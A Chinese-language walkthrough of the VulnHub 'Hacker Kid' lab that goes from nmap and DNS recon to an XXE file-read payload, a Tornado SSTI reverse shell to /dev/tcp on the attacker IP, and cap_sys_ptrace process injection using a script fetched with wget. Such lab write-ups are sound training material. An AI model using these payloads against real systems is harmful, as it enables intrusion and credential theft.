环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://www.vulnhub.com/entry/hacker-kid-101,719/

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.140

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.140

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.140

扫描结果如下:系统开放了一个 DNS 服务(53 端口)、两个 HTTP 服务(80 端口和 9999 端口)

1
2
3
4
5
6
7
8
9
10
11
PORT     STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open http Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F

目录扫描

两个网站目录扫描均没发现什么有用的信息

DIG域名挖掘

查看网页源码发现提示,说是需要提供 GET 参数 page_no

1565X307/assets/image-20250725183136-96d8i0n.png

抓包爆破一下 page_no 的值,当 page_no=21 时,响应包跟其他不一样,给出了一些提示

1953X977/assets/image-20250725183606-0r4cp1m.png

提示说创建了一些子域并给出了主页的子域 hackers.blackhat.local,需要将该域名解析到对应的 IP 地址才能访问网站,可以通过修改本地的 hosts 文件,添加如下映射:

1
192.168.52.140 hackers.blackhat.local

使用 dig 查一下 blackhat.local 域名的完整DNS记录,发现有一个子域 hackerkid.blackhat.local,将该子域也添加进 hosts 文件里

1
192.168.52.140 hackerkid.blackhat.local

1597X753/assets/image-20250725185943-xv2lqk7.png

漏洞利用

XXE注入

访问 http://hackerkid.blackhat.local/ 是一个登陆表单,抓包发现数据传输格式是 xml 格式

尝试进行 xxe 注入,注入点在邮箱处,直接读 /etc/passwd 可以发现家目录只有一个用户 saket,读取该用户目录下的 .bashrc 配置文件,可以得到一个账号密码,payload 如下:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc">
]>
<root><name>123</name><tel>123</tel><email>&xxe;</email><password>test</password></root>

1968X1265/assets/image-20250725201750-akjgxmi.png

访问 9999 端口开的 web 服务,只有一个登陆页面,使用刚刚得到的账号密码 admin/Saket!#$%@!! 尝试登陆,但是失败了,账号换成靶机普通用户名 saket,密码不变,即可成功登陆

SSTI模板注入

登陆后提示传参 name,界面一眼 ssti 模板注入,测试 ?name={{7*7}} 回显 49,证明漏洞存在,然后直接写一个反弹 shell 命令,攻击机开启监听,即可拿到 shell

1
?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.128/2233 0>&1"')}}

1594X453/assets/image-20250725204759-05desiw.png

权限提升

经尝试发现是 Capabilitie 提权,首先查找具有 Capability 的文件

1
/sbin/getcap -r / 2>/dev/null

执行结果如下,发现 python 有 cap_sys_ptrace 权限,可以通过进程注入来提权

1
2
3
4
5
6
7
8
/snap/snapd/24792/usr/lib/snapd/snap-confine = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin+p
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
saket@ubuntu:~$

先上传 inject.py 脚本,使用批处理把所有 root 进程都注入一下

1
2
3
4
5
6
# 攻击机先把 inject.py 文件下载好,然后使用python开启http服务端口
python -m http.server 8000
# 靶机下载、给执行权限、批量注入root进程
wget http://192.168.52.128:8000/inject.py
chmod +x inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

等进程注入完之后,nc 主动连接 5600 端口,成功提权

1
nc 192.168.52.140 5600

1600X219/assets/image-20250725210814-m9bdrbs.png